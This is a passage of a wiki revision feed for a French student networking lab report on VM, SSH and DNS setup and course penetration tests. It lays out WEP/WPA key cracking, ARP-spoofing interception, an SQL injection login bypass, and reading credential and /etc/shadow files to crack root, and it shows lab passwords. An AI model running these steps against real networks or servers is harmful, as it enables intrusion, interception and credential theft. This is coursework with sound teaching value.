[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55128</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55128"/>
				<updated>2020-12-21T17:09:55Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Intrusion sur un serveur d'application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ajoutmanuel.png&amp;diff=55127</id>
		<title>Fichier:Ajoutmanuel.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ajoutmanuel.png&amp;diff=55127"/>
				<updated>2020-12-21T17:09:20Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55126</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55126"/>
				<updated>2020-12-21T17:08:20Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Intrusion sur un serveur d'application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
